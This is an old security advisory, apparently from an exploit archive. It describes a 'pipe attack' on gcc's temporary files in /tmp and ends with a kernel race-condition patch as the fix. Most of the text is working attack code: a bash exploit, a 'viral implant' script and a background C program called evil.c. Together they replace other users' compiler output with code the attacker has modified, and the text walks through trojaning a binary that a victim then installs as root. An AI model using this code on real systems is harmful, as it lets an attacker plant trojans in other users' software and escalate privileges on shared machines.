COMMAND
pipe attack
SYSTEMS AFFECTED
Do you have gcc, mail or similar? You are.
PROBLEM
Michal Zalewski found following. Typical "[symbolic|hard] link
bug" is a vunerability, which allows user X to overwrite files
owned by Y (with useless portion of junk) when Y launchs buggy
program. But this trivial (and often ignored) attack method can
be easily turned into a cute, powerful weapon. Here's an example
how to perform advanced exploitation ("pipe attack") of gcc
symlink bug (this tool was choosen because this problem is
well-known and it's pretty easy to fix). Original exploit code
can be found as 'gcc' on Security Bugware mUNIXes page.
First of all, we need to fix our exploit by replacing symlink with
named pipe. What for? Be patient:
#!/bin/bash
# Advanced GCC exploit
echo "Advanced GCC exploit running."
renice +20 $PPID >&/dev/null
cd /tmp
while :; do
V=`ls cc*.i 2>/dev/null|cut -f 1 -d "."`
if [ ! "$V" = "" ]; then
mkfifo ${V}.s
chmod 666 ${V}.s
bash
fi
done
As you can see, new exploit is even smaller and quite useless. So
why shouldn't we launch it...
$ ./adc-gcc
Advanced GCC exploit running.
[...]
Ok, it's running somewhere in a background... Now, other user (Y)
launchs gcc to compile something. His gcc hangs trying to write
compiled junk into a pipe created by exploit, and our exploit
drops us into a shell:
[...]
Advanced GCC exploit running.
$ ls
cca02091.i cca02091.s [...other stuff...]
Now, we may modify preprocessed cca02091.i file. Michal added
line 'printf("Hello, dude.\n");' using vim at the begining of main
function, and finally saved modified code as "myjunk.i". Our user
probably grows impatient, so it's time to serve our dish of the
day... First, we should flush pipe:
$ cat cca02091.s >junk2.s
That's perfect, gcc wrote everything successfully, and now it's
trying to read it back from pipe. So why shouldn't we give him a
chance? Michal precompiled myjunk.i using cc1 (it's location may
vary, but it MUST be somewhere; you may locate it by executing
"ps auxhw|grep cc1" meantime). If you're unable to read cc*.i
file, bacause user's umask is set to eg. 077 - don't worry! You
may modify asm code directly. Just edit "junk2.s". After that,
you don't have to use cc1.
Let's see, what we have here? A gcc compiler happily waiting for
compiled portion of asm stuff at the second end of pipe... And
compiled code, but modified a little... So there's only one
solution:
$ cat myjunk.s >cca02091.s
(or "cat junk2.s >cca02091.s" if you changed asm code directly)
Kaboom! Gcc finished it work (hopefully everything went OK). Now
user have it's program, but with OUR trojan code! What he does
now? Launchs it, or...
$ make
$ su -
Password:
# make install
Whoops! Due to the questions about possibility of performing
'pipe attacks' - there's *working* example of program, which
appends function printf("This program has been infected!\n");
after declarations in the main() function to sources compiled
using gcc. Ok, here it is:
#!/bin/bash
# Advanced gcc viral implant 1.1
# Michal Zalewski (lcamtuf@staszic.waw.pl)
# ** DO NOT DISTRIBUTE **
CC1=`find /usr/lib/gcc-lib -name cc1`
renice +20 $$ >&/dev/null
cd /tmp
echo "I'm free, I'm free! Oh, I'm free..."
while :; do
V=`ls cc*.i 2>/dev/null|cut -f 1 -d "."`
if [ ! "$V" = "" ]; then
mkfifo -m 666 ${V}.s &>/dev/null
if [ -p ${V}.s ]; then
sleep 1
cat ${V}.i|awk 'match($2,"main")==1{x=1};y!=1&&x==1&&match($1,"\\(")>0&&match($2,"main")==0{y=1;print "printf(\"This program has been infected!\\n\");"};{print $0}'>.lv$$.i
$CC1 .lv$$.i
cat ${V}.s>/dev/null
cat .lv$$.s >${V}.s
echo "Got ya ("`head -1 ${V}.i|awk '{printf $3}'`")."
fi
sleep 1
rm -f .lv$$.* ${V}.s &>/dev/null
fi
done
Newer version of 'pipe exploit' follows, this time in c. Shell
script was too slow, this one catchs every compilation process.
-- Makefile --
CC = gcc
OPTS = -O3
CC1 = `find /usr/lib/gcc-lib -name cc1`
all: evil
evil: evil.c
$(CC) -o evil evil.c $(OPTS) -DCC1=\"$(CC1)\"
clean:
rm -f evil
-- evil.c --
/*
Another gcc exploit by Michal Zalewski <lcamtuf@staszic.waw.pl>
---------------------------------------------------------------
= for educational purposes only, please don't abuse it anyway =
Installation:
make; ./evil
Killing:
rm /tmp/.myson
Advantages:
- now it's even faster and even more usable,
- pipe timeout has been implemented,
- auto-background mode, almost unkillable,
- /tmp lockfile.
Disadvantages:
- incerased CPU usage,
- smart skipping of 'dead' *.i files isn't implemented (yet),
- it still modifies only *.i files, not asm code directly,
- dirty code ;)
To do:
- smart *.i skipping (function kaboom + string array),
- assembler code analysis,
- process-activated scandir() (to decerase cpu usage).
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
#include <dirent.h>
#ifndef CC1
#error - Please use make to compile me.
#endif
#define CHECKPOINT ".myboy"
#define TIMEOUT 5
int pass=1;
char buf[1000];
void kaboom(int x)
{
// Nope yet.
system("kill -9 `ps|grep \"cca\"|awk '{print $1}'` &>/dev/null");
}
int infect(struct dirent *s)
{
if ((strncmp("cca",s->d_name,3)!=0)) {
if (!(strncmp(s->d_name,CHECKPOINT,6))) pass=1;
return -1;
}
if (s->d_name[9]!='i') return -1;
s->d_name[9]='s';
mknod(s->d_name, 0666 | S_IFIFO,0);
s->d_name[9]='i';
signal(SIGALRM,kaboom);
// Ripped from sh version :)
sprintf(buf,"cat %s|awk 'match($2,\"main\")==1{x=1};y!=1&&x==1&&match"
"($1,\"\\\\(\")>0&&match($2,\"main\")==0{y=1;print \" printf"
"(\\\"\\\\n*** THIS PROGRAM HAS BEEN INFECTED ***\\\\n\\\\n"
"\\\"); \"};{print $0}'>.%s; " CC1 " .%s &>/dev/null;rm -f %s"
" .%s &>/dev/null",s->d_name,s->d_name,s->d_name,s->d_name,
s->d_name);
alarm(TIMEOUT);
system(buf);
alarm(0);
s->d_name[9]='s';
signal(SIGALRM,kaboom);
sprintf(buf,"cat %s >/dev/null;cat .%s >%s;rm -f %s .%s &>/dev/null",
s->d_name,s->d_name,s->d_name,s->d_name,s->d_name);
alarm(TIMEOUT);
system(buf);
alarm(0);
sleep(1);
return -1;
}
int foo(struct dirent **a,struct dirent **b)
{
// Nope.
}
int main(int argc, char* argv[])
{
int a=0;
struct dirent **x;
printf("Forking into background...\n");
if (fork()) exit(0);
if (open("/tmp/" CHECKPOINT ,O_RDONLY)<0) {
close(open("/tmp/" CHECKPOINT,O_CREAT));
} else {
printf("Am I already active? Try again NOW.\n");
system("rm -f /tmp/" CHECKPOINT " &>/dev/null");
return 0;
}
chdir("/tmp");
umask(0);
for (;a<25;a++) signal(a,SIG_IGN);
while (pass) {
pass=0;
scandir("/tmp",&x,infect,foo);
}
printf("Aghhrrr, I'm dying!!!\n");
return 0;
}
SOLUTION
How to protect yourself? In this case, it's quite simple, check
out gcc. But that's just an well-known example of
'not-so-interesting symlink bug'. Almost any symlink-vunerable
program, which stores any data (even PIDs) in their temporary
files, may be exploited in that way (eg. not so easy to fix gzexe
problem).
Currently, recommendes is race-patch-2.0-supersafe instead of
'regular' version. It seems to work properly with typical
programs. Probably soon it will be included into Solar Designer's
'secure linux' package (non-executable stack+symlink fix+/proc
patch+security levels+race patch). Here it is:
-- race_patch-2.0-supersafe.patch --
Super-safe race conditions patch
Michal Zalewski <lcamtuf@staszic.waw.pl>
Krzysztof G. Baranowski <kgb@manjak.knm.org.pl>
--- linux-2.0.33/fs/namei.c.orig Sun Aug 17 01:23:19 1997
+++ linux-2.0.33/fs/namei.c Sat Feb 21 16:00:20 1998
@@ -19,6 +19,7 @@
#include <linux/fcntl.h>
#include <linux/stat.h>
#include <linux/mm.h>
+#include <linux/config.h>
#define ACC_MODE(x) ("\000\004\002\006"[(x)&O_ACCMODE])
@@ -405,6 +406,13 @@
iput(inode);
return error;
}
+ #ifdef CONFIG_RACE_FIX
+ if ((S_ISREG(inode->i_mode) || S_ISFIFO(inode->i_mode)) && (dir->
+ i_mode & S_ISVTX) && current->fsuid!=inode->i_uid && (flag & 2)) {
+ iput(inode); /* security_alert("race"); */
+ return -EPERM;
+ }
+ #endif /* CONFIG_RACE_FIX */
if (S_ISFIFO(inode->i_mode) || S_ISSOCK(inode->i_mode)) {
/*
* 2-Feb-1995 Bruce Perens <Bruce@Pixar.com>
--- linux-2.0.33/fs/Config.in.orig Sat Feb 21 14:37:18 1998
+++ linux-2.0.33/fs/Config.in Sat Feb 21 14:36:56 1998
@@ -4,6 +4,9 @@
mainmenu_option next_comment
comment 'Filesystems'
+if [ "$CONFIG_EXPERIMENTAL" = "y" ]; then
+ bool 'Super-safe race conditions patch (EXPERIMENTAL)' =
CONFIG_RACE_FIX
+fi
bool 'Quota support' CONFIG_QUOTA
tristate 'Minix fs support' CONFIG_MINIX_FS
tristate 'Extended fs support' CONFIG_EXT_FS
--- linux-2.0.33/Documentation/Configure.help.orig Sat Sep 6 05:43:58 1997
+++ linux-2.0.33/Documentation/Configure.help Sat Feb 21 15:22:43 1998
@@ -2930,6 +2930,18 @@
will skip detection and configuration after all.
N.B. options are case sensitive.
Read Documentation/cdrom/isp16 for details.
+
+Super-safe race conditions patch
+CONFIG_RACE_FIX
+ 'Super-safe race condition fix' disallows users to write files/pipes
+ not owned by them in +t directories. This feature prevents typical
+ 'race attacks' and iproves your security. Our patch is experimental.
+ If you're afraid about your security, say Y. Otherwise, if one
+ of more of your programs stops working with this patch, say N, and
+ immediately report noticed problems to us.
+
+ Authors: Michal Zalewski <lcamtuf@staszic.waw.pl>
+ Krzysztof G. Baranowski <kgb@manjak.knm.org.pl>
Quota support
CONFIG_QUOTA
-- end of file --